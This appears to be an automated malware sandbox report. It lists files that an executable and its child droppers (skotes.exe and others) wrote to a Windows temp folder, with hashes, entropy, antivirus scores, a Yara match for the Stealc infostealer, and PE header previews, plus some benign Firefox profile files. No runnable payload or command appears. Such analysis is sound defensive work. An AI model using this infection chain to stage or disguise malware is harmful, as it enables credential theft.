Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2131968
Entropy (8bit):	7.958956168907646
Encrypted:	false
SSDEEP:	49152:bToLXXjGK8NYlw/xfL5tDm5myyEdDk1KrDmkVtg7v8UW/zN:fOaz3xf9ZyygrDlVtC8LL
MD5:	508DC49E57681EA817BD36F9770AD609
SHA1:	D3CB94F703FA7549D47D9984393C34413BACB53F
SHA-256:	BD37EB6DB999D3F29AE806B66FB66D0F8E378B6B9169ECB9B7B7ED7308C0C7BF
SHA-512:	5DCA8C708215CDDC174142685690B2335994990E14AB85F96DC8BA0279922DDE2D0B85ADF75A486D4EBE522403B9AA4CFD540D9BE5F247B75D9A1DD6F22814B7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r.....fo!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...fefgvzwf......X.....................@...bzufikti......r......b .............@....taggant.0....r.."...f .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2940416
Entropy (8bit):	6.547039957169838
Encrypted:	false
SSDEEP:	49152:2oMlzszBa1BfpdSh5BGot8gFpD5DwXaOI+S25hIORmbAiGLlew7:2oqsNajBdSh5BGoeA9NLOI+GO0c
MD5:	90A33D2FA972C6879876CFD76B3BB7F2
SHA1:	BDE748D82306D4E3807B87FD23486B9B2E85BF8D
SHA-256:	1EEA8B150CA28B1B58A43DFBE65E9949CFA563DF212E1C43929931750F047180
SHA-512:	97204EC0DDDC24C05349698E2D60E9F00E9D25BDB8FFC9D4DC47E5A53CB7A2AB0B687ECE0BBB27A918A6268B9C7CBB3ECBB4B8440CEAF73F8FF2F20A93C1D347
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@.......................... 0.......-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...hdsdqunw.0......".................@...hndbucrw....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2131968
Entropy (8bit):	7.958956168907646
Encrypted:	false
SSDEEP:	49152:bToLXXjGK8NYlw/xfL5tDm5myyEdDk1KrDmkVtg7v8UW/zN:fOaz3xf9ZyygrDlVtC8LL
MD5:	508DC49E57681EA817BD36F9770AD609
SHA1:	D3CB94F703FA7549D47D9984393C34413BACB53F
SHA-256:	BD37EB6DB999D3F29AE806B66FB66D0F8E378B6B9169ECB9B7B7ED7308C0C7BF
SHA-512:	5DCA8C708215CDDC174142685690B2335994990E14AB85F96DC8BA0279922DDE2D0B85ADF75A486D4EBE522403B9AA4CFD540D9BE5F247B75D9A1DD6F22814B7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r.....fo!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...fefgvzwf......X.....................@...bzufikti......r......b .............@....taggant.0....r.."...f .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584629892552237
Encrypted:	false
SSDEEP:	12288:TqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgarTN:TqDEvCTbMWu7rQYlBQcBiT6rprG8avN
MD5:	8BF1CFA7A41EFE5704ABCEED80C69AB5
SHA1:	D8BC42BE9A3C8B250CFE2F2C07EEE50F5104C8CA
SHA-256:	BA88D479A847561DEE258B2B04C7C31C9C58F50F8FD9721ADC41E78238861929
SHA-512:	30CCD278ADD2B74C9AF0DD9D464EC0595E4903BE3C9BF35AFFD351F15A90185F814B56D353420FEC649B31FBA325DF6A85797DA30E6E9FF004A9F7BE4C084F5F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....#g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..$........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...$....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002978001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2131968
Entropy (8bit):	7.958956168907646
Encrypted:	false
SSDEEP:	49152:bToLXXjGK8NYlw/xfL5tDm5myyEdDk1KrDmkVtg7v8UW/zN:fOaz3xf9ZyygrDlVtC8LL
MD5:	508DC49E57681EA817BD36F9770AD609
SHA1:	D3CB94F703FA7549D47D9984393C34413BACB53F
SHA-256:	BD37EB6DB999D3F29AE806B66FB66D0F8E378B6B9169ECB9B7B7ED7308C0C7BF
SHA-512:	5DCA8C708215CDDC174142685690B2335994990E14AB85F96DC8BA0279922DDE2D0B85ADF75A486D4EBE522403B9AA4CFD540D9BE5F247B75D9A1DD6F22814B7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r.....fo!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...fefgvzwf......X.....................@...bzufikti......r......b .............@....taggant.0....r.."...f .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2822144
Entropy (8bit):	6.454172444055013
Encrypted:	false
SSDEEP:	24576:bRPQLGuAYVuI5u1hCh4srH/gMA09GUYw9TWac9SjDjaCJjDj9QJ+dKQSbziAuruK:HI5cCesYfUhW7bsmlb18mQZ8rcE
MD5:	69621666073B77F9D5D771808DC1A7A6
SHA1:	32EF532AE1C90A8C74B3A6C0D1134F8116AE9BC2
SHA-256:	0EFA9CAC51FA334FA1EBEE313DB11BD08D65FFDF4ED573CDECF071B4FCE96B2E
SHA-512:	67D693DC48FB29A3A4269B2DB241449B03476C9588C72A704652E7E97D79D5CEED1941F62B7CBD8050ACC335646B683D5F99F6FC8B2629CF8CA0C7E5671A1EDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......6+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...gwksigml...........:..............@...xtwnmccs. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2822144
Entropy (8bit):	6.454172444055013
Encrypted:	false
SSDEEP:	24576:bRPQLGuAYVuI5u1hCh4srH/gMA09GUYw9TWac9SjDjaCJjDj9QJ+dKQSbziAuruK:HI5cCesYfUhW7bsmlb18mQZ8rcE
MD5:	69621666073B77F9D5D771808DC1A7A6
SHA1:	32EF532AE1C90A8C74B3A6C0D1134F8116AE9BC2
SHA-256:	0EFA9CAC51FA334FA1EBEE313DB11BD08D65FFDF4ED573CDECF071B4FCE96B2E
SHA-512:	67D693DC48FB29A3A4269B2DB241449B03476C9588C72A704652E7E97D79D5CEED1941F62B7CBD8050ACC335646B683D5F99F6FC8B2629CF8CA0C7E5671A1EDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......6+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...gwksigml...........:..............@...xtwnmccs. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1886208
Entropy (8bit):	7.949437041289917
Encrypted:	false
SSDEEP:	49152:gVx3hEe5mhWLwZev9RZ2/fF1nuhbkSOCNy/FS:Yx3hEZWEy2XFNmQm
MD5:	BEB2473D97E708D93AFB6AA83B597406
SHA1:	A40C2C574EC24A9ABED47DA6C2205E4004765F14
SHA-256:	8DDB6C1435B6860259384733743A6C767D3A7FBFB0A1EEB0544D67F7228357F0
SHA-512:	3AB11AF64C98CA616DB30389650B5B17ED30E25F68F5B6BEC915DEBDB36F686D40DFF86A4B593177B86DEABA4B78B533E9680238BBB589EA14A30AFD6FD4BAE8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................K.....2.....@.................................W...k.......D.....................J.............................t.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p*.........................@...whlejstb..... 1.....................@...gsptuyyn......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1886208
Entropy (8bit):	7.949437041289917
Encrypted:	false
SSDEEP:	49152:gVx3hEe5mhWLwZev9RZ2/fF1nuhbkSOCNy/FS:Yx3hEZWEy2XFNmQm
MD5:	BEB2473D97E708D93AFB6AA83B597406
SHA1:	A40C2C574EC24A9ABED47DA6C2205E4004765F14
SHA-256:	8DDB6C1435B6860259384733743A6C767D3A7FBFB0A1EEB0544D67F7228357F0
SHA-512:	3AB11AF64C98CA616DB30389650B5B17ED30E25F68F5B6BEC915DEBDB36F686D40DFF86A4B593177B86DEABA4B78B533E9680238BBB589EA14A30AFD6FD4BAE8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................K.....2.....@.................................W...k.......D.....................J.............................t.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p*.........................@...whlejstb..... 1.....................@...gsptuyyn......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\ykDoK8BtxW.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3458576
Entropy (8bit):	7.871183436645129
Encrypted:	false
SSDEEP:	49152:pd0WyZt1UbFSOHUM04jhsaDfZt6TJ5nD3hdkMgE+jCtWszgEBCs9IYFDl:aZt8FjUF4jhBZtmhjjf8gRPJ
MD5:	7CFE878555B8CC04FC52385219B423D7
SHA1:	CFF23BEB3F3223610A37A9B52D3B9495438C5C1F
SHA-256:	51C35CC8BFC37189048A0454992F30143289DCACE11C5FC108DB47E91F467BD0
SHA-512:	31AD38C09589A8BA91D0C2B4B3F12CDA02909FD4CDD06A84B415C2018983C0DFD8B675C39089A0313E1A0C6C95EF023D9D4F66FCD05D2B4AEB313D75EFE86386
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................[...........@..................................5...@..........................................................4............................................................................................. :........p.................. ..` P........j...t..............@..@ .f... ......................@....rsrc..............................@..@ .L...P...<..................@..B.idata..............................@....tls.....................................themida.@Q.........................`....boot.........[.....................`..`.reloc................4................@........................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\ykDoK8BtxW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.9266624940766475
Encrypted:	false
SSDEEP:	48:YnSwkmrOfJNmPUFpOdwNIOdoWLEWLtkDLuuukx5FBvipA6kbbXjQthvLuhakNI9O:8S+OfJQPUFpOdwNIOdYVjvYcXaNLrh8P
MD5:	A1EF990544EF74981B35748EE90783D6
SHA1:	22175B22553D37EA78D4460AA536F43DE5BFCFEA
SHA-256:	50F7C4A8B57DEDD65F659609CE1016D701777269D515B8A952C2C1E15B571847
SHA-512:	BEECCAD84B73B3F839C99E84F54063D6C67928AF12BA7A0AE30990A463042E64AFDD2E06B09E5E15B86F06EAB75E0E366565716BDE48F4AEC9B69FC42A9911A7
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.9266624940766475
Encrypted:	false
SSDEEP:	48:YnSwkmrOfJNmPUFpOdwNIOdoWLEWLtkDLuuukx5FBvipA6kbbXjQthvLuhakNI9O:8S+OfJQPUFpOdwNIOdYVjvYcXaNLrh8P
MD5:	A1EF990544EF74981B35748EE90783D6
SHA1:	22175B22553D37EA78D4460AA536F43DE5BFCFEA
SHA-256:	50F7C4A8B57DEDD65F659609CE1016D701777269D515B8A952C2C1E15B571847
SHA-512:	BEECCAD84B73B3F839C99E84F54063D6C67928AF12BA7A0AE30990A463042E64AFDD2E06B09E5E15B86F06EAB75E0E366565716BDE48F4AEC9B69FC42A9911A7
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 5
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905391753567332
Encrypted:	false
SSDEEP:	24:DLivwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:D6wae+QtMImelekKDa5
MD5:	DD9D28E87ED57D16E65B14501B4E54D1
SHA1:	793839B47326441BE2D1336BA9A61C9B948C578D
SHA-256:	BB4E6C58C50BD6399ED70468C02B584595C29F010B66F864CD4D6B427FA365BC
SHA-512:	A2626F6A3CBADE62E38DA5987729D99830D0C6AA134D4A9E615026A5F18ACBB11A2C3C80917DAD76DA90ED5BAA9B0454D4A3C2DD04436735E78C974BA1D035B1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
